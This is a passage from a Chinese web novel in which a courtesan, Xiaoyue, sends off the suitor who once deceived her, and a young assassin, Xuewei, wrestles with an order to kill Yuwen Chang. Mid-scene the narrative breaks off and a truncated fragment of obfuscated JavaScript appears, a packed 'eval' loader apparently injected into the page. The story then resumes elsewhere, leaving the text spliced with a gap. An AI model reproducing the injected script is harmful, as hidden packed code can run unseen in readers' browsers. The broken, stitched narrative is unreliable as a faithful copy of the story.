孟云舟摇头笑道:“姑娘既然救了我,那就是我的恩人,我怎么会介意姑娘的身份呢?” 他看着小月继续说道:“等我回去之后,一定会再次来京城把你从锦绣坊赎出来,到时候你就是自由身了。” “真的吗?公子真的愿意把我从这里赎出来?”小月一脸期盼,但随即内心又纠结起来:“只不过......只不过......” 孟云舟看出了小月脸上的犹豫,随即问道:“只不过什么?” “只不过我突然想到我要是离开了这里之后不知道去往哪里。”小月一脸彷徨失措:“这偌大的天下居然没有我的容身之处。” 她转头看着孟云舟叹了口气道:“公子还是别赎我出去了,就让我在这里孤老终死吧。” “我怎么可能会让你在这里孤老终死呢?”孟云舟突然走上前来,离小月仅一步之遥,他对着小月深情的说道:“你要相信我,等我回去之后我很快就会回来赎你出去,到时候,你跟着我,我不会让你无人可依的。” “到时候,我会娶你,你做我的娘子,让我成为你的依靠可好。” 话说的可真好听,和当初对她说的一模一样,结果又怎么样,孟云舟,你骗我一场,我也骗你一场。 “你真的愿意娶我做你的娘子?”小月瞪大眼睛看着孟云舟问道:“你也知道我这样的身份怎么可能做正经人家的正头娘子呢?” 小月心里知道孟云舟如今只不过是需要她所以才这样愿意哄着她,等有一天他不再需要她了,就会把她一脚踢开。 “别痴人说梦了。”小月低头叹气一番,便进入了锦绣坊拿了一包银子丢给了孟云舟:“你还是赶紧回家去吧,别再让你的家人担心。” 孟云舟看着小月正准备离去的身影,他站在背后着急说道:“我真的会来娶你的,你一定要等着我。” 说完,转身便离开了。 小月转身,嘴里叨道:“果真是个负心人,拿了银子这么快就跑了,这和当初她遇见的那个孟云舟似乎有些不太一样了。” “你把银子给他了,就不怕他一去不回吗?”红袖此时从一旁走了出来,朝着巷子口看了看,“这个男人嘴可真甜,难怪当初你会义无反顾的跟随他离开了。” “嘴甜的人我自小见多了。” “是啊,我怎么忘了你从小就有一群人围着你转。”红袖拍了拍脑袋。 “他不仅嘴甜,还懂人心思。”小月想起了她与孟云舟初次见面,孟云舟奋不顾身当场救下一位小孩。 那个时候边境很乱,小月带着侍女阿紫在街上游玩,谁曾想却遇到了一窝劫匪在光天化日之下打劫,小月爱打抱不平本想着上前去进行理论,谁知那伙人势力太过于强大,阿紫为了避免让小月受到伤害于是拉住小月拼死也不让她过去。 此时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“放心吧,他会回来的。” 红袖微微摇头,眼中觉得有些诧异,她怎么知道孟云舟会回来? 反正男人的心思红袖不懂,也不想懂。 自从红袖经营锦绣坊这么多年以来,她只觉得男人都是花心大萝卜,嘴里说着最爱这个最爱那个,可是身体却十分的诚实,只要是个美女,他都爱,但是要他们真心求娶花楼里的姑娘的人,却没有几个。 这么多年,红袖见过太多伤心落泪的姑娘,她的心早就如坚硬的磐石一样坚硬。 ...... 小月回到庆安王府把今日孟云舟窘迫的事情与雪微说了,一切尽在掌握中,雪微并没有觉得很似惊讶。 “你看起来年纪和我差不多,但论心智,你却比我成熟了许多。”小月看着雪微一脸的淡漠,对一切事情似乎都不是很在意。 眼前这个人,小月对她从始至终都看得不是很明白,她与人相处总是隔着一层雾。 “但你却比我幸运,至少你的家人都还健在,你有大把的时间可以在他们的面前尽孝,而我......”雪微看了眼背后的梅花树,而我却只能对着这颗梅花树述说自己的心事。 “你不问问孟云舟拿了钱还会不会再回来吗?”小月追问道。 “他会回来的,他的福满楼不是还抵押在你这里吗?”雪微淡定自如笑道:“就算不是为了你,为了福满楼,他也会回来的。” “是啊,孟云舟会回来的。”小月暗自叹了口气,她抬头从身后看了过去,洁白的月色像层纱一般洒到雪微的身上,层层的把她笼罩了起来。 不用说,她什么都知道,和这样的人相处总是少了些烟火气。 见小月回到房间后,雪微又继续在梅花树下待了片刻,“师父要我杀了宇文昌,爹爹,娘亲,我到底该怎么做?” 她一脸愁容,只有在四处无人的时候才胆敢吐露出来,“可我的心告诉我,我不想杀他。” “为什么师父叫我杀宇文昌的时候,我的心会很痛?” “师父知道宇文昌是谁吗?她跟宇文昌又不认识,怎么会要我去杀了他呢?”雪微脑中有着许多不解,“难道我真的是喜欢上他了吗?所以我对他才无法下手?” “我到底该怎么做?” 雪微脑中闪过无数她刺杀宇文昌的画面,但每一种都不是她想看见的。 “宇文昌如果不死的话,到时候师父亲自出马,事情只会比现在复杂许多,毕竟师父如果真的出手,宇文昌就算不死也怕是会永远的成为残废。” 师父出马从来都没有过失败,雪微到目前为止都不知道师父的修为到底到了何种地步。 “我该怎么办,父亲。” “你告诉我,我是不是应该杀了他,至少我可以让他在我的手中没有痛苦的死去。” 雪微仰头看了许久的月亮,每当她心里没底的时候,她总会对着月亮诉说着,今晚的月色看起来显得有些煞白。 “师父不会是在考验我,看我会不会为了一个男人违抗她的命令吧?” 果然姜还是老的辣。 “宇文昌,我本不想杀你的,但我不能因为你违抗师命,所以只能对不起你了。”雪微看着月色心里暗自发誓,“如果我和你注定了只能活一人,那么我只能杀了你。” “因为违抗师命的代价是死亡,而我目前还不能死。” 雪微瞬间清醒了,优柔寡断从来都不是她的个性,她要的从来都只是结果。